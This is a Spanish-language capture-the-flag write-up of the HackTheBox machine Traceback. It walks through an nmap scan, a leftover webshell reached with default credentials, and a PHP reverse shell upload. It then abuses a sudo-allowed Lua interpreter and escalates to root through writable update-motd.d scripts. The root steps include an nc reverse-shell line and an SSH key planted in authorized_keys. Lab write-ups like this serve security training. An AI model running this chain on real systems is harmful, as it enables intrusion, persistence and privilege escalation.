Traceback es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Ubuntu.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Traceback 10.10.10.181 a /etc/hosts como traceback.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Nmap 7.80 scan initiated Thu May 7 13:22:33 2020 as: nmap -sC -sV -oA traceback-nmap 10.10.10.181 Nmap scan report for 10.10.10.181 Host is up (0.074s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA) |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519) 80/tcp open http Apache httpd 2.4.29 | http-ls: Volume / | SIZE TIME FILENAME | 103K 2020-02-27 05:37 smevk.php |_ |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Index of / Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 7 13:22:44 2020 -- 1 IP address (1 host up) scanned in 10.91 seconds |
Observamos que tenemos dos puertos abiertos, vamos a comprobar primero que tenemos en el puerto 80 y obtenemos la siguiente página:
Viendo el comentario existente buscamos en google por “webshell Xh4H” y encontramos un repositorio con varias webshell en github.
Probamos a ver si existe alguna de ellas y conseguimos acceder a un portal de login a través de la url http://10.10.10.181/smevk.php
Probamos a loguearnos con admin:admin y listo, estamos dentro de la shell, la cual tiene un aspecto como el que se ve en la siguiente captura:
Realizamos algunas comprobaciones de ejecución de comandos y probamos a subir nuestra propia shell de php a través del formulario de subida de ficheros y que posteriormente ejecutaremos para acceder a la máquina.
Lanzamos en local netcat con el puerto que pusimos en la escucha en nuestra reverse shell y ejecutamos el fichero php que hemos subido, consiguiendo así acceso con el usuario webadmin.
Obteniendo la flag de user
A partir de aquí, necesitamos poder hacer un escalado lateral para poder acceder con el usuario sysadmin y obtener la flag de user que se encuentra en la home de dicho usuario.
Revisamos el historial y los permisos de dicho usuario y observamos que es posible ejecutar como sudo el siguiente comando
1 |
/home/sysadmin/luvit |
Pero no encontramos el fichero privesc.lua que aparece en el historial:
Así que lo creamos de nuevo:
1 |
echo "os.execute(\"/bin/bash -i\")" > privesc.lua |
Y ejecutamos el comando para obtener acceso como sysadmin y con ello la flag de user:
Escalado de privilegios
Ahora que ya tenemos la primera flag, necesitamos escalar privilegios a root. Para ello, utilizaremos pspy para ver los procesos existentes en el sistema y encontramos uno que nos llama la atención:
Existe un proceso que se ejecuta cada 30 segundos y que copia todo el contenido de /var/backups/.update-motd.d/ a /etc/update-motd.d/
Después de varias comprobaciones, confirmamos que al acceder por ssh a la máquina se carga todo el contenido del directorio /etc/update-motd.d.
Al revisar el mismo comprobamos que el usuario sysadmin tiene permisos para editar el contenido de esos ficheros:
1 2 3 4 5 6 7 8 |
sysadmin@traceback:/home/webadmin$ ls -l /etc/update-motd.d ls -l /etc/update-motd.d total 24 -rwxrwxr-x 1 root sysadmin 981 May 7 07:24 00-header -rwxrwxr-x 1 root sysadmin 982 May 7 07:24 10-help-text -rwxrwxr-x 1 root sysadmin 4264 May 7 07:24 50-motd-news -rwxrwxr-x 1 root sysadmin 604 May 7 07:24 80-esm -rwxrwxr-x 1 root sysadmin 299 May 7 07:24 91-release-upgrade |
Por lo que vamos vemos dos posibles formas de conseguirlo:
Lo primero será crearnos una clave ssh para el usuario webadmin y la incluimos en el fichero authorized_keys de dicho usuario para poder acceder:
1 |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSC8+D4LyqwyoHWQ/K9d+tFSSUU1ApJPRerIJGh6Ylzvwdk+JBXHUYckqERZTnZUxwjQzgN9PdXCPU8xltytTDG38bvk0hHfk6dWjNz3bqdTlFvAy9upvsQq2AQfwtR45frwGmCRDOZRWUl5DfemYeQvSDo6DG6Tx3isUNIlTtKxGbH4JlduN293N5Sh2a+LJ67kwZQw+HQnYIdcWLAflk2IX3rbU7bXNxT/BLP+ZGGoDHbmwxKDuCeuPpQIVRDjJFZyaENJwTKNkPxOYxwE7Y05PpGGV0pIbpVMpuG1my8H0ZbiY2ir4ZFvKsXp7/kve64r5P0G+c+IiVQiKOir4Z+w0ADdreXCU9ct5U6MVd0wF+QE8i6H6MhaqmhA8vbaQLbXd0O12F+qfKRL7Tvp2FYRrXC23pj6fsqgCkQ+DQUhLF+iaIH4deqs/L/n9/mDw4e/qLuM6A5+56/w6PsQiKCzQBSwnTEpPecdGG1VquLMOtaYYTBW+qOqqlyoM656s= root@kali" >> /home/webadmin/.ssh/authorized_keys |
Ahora podemos incluir una escucha en el fichero 91-release-upgrade para obtener una shell directa como root, quedando de la siguiente forma:
1 2 3 4 5 6 7 8 9 |
#!/bin/sh /tmp/nc -e /bin/bash 10.10.x.x 1234 # if the current release is under development there won't be a new one if [ "$(lsb_release -sd | cut -d' ' -f4)" = "(development" ]; then exit 0 fi if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd fi |
O podemos añadir el siguiente comando al fichero 00-header para que al acceder por ssh nos muestre la flag de root:
1 |
echo "cat /root/root.txt" >> /etc/update-motd.d/00-header |
Obteniendo la flag de root
Una vez tenemos nuestra clave ssh, realizamos la modificación oportuna y, por ejemplo, en el caso de añadir el comando al fichero 00-header, al loguearnos por ssh obtendremos la flag de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# ssh -i /root/.ssh/webadminkey webadmin@10.10.10.181 ################################# -------- OWNED BY XH4H --------- - I guess stuff could have been configured better ^^ - ################################# Enter passphrase for key '/root/.ssh/webadminkey': Welcome to Xh4H land 02c--------------------------e Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu May 7 06:51:38 2020 from 10.10.x.x |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.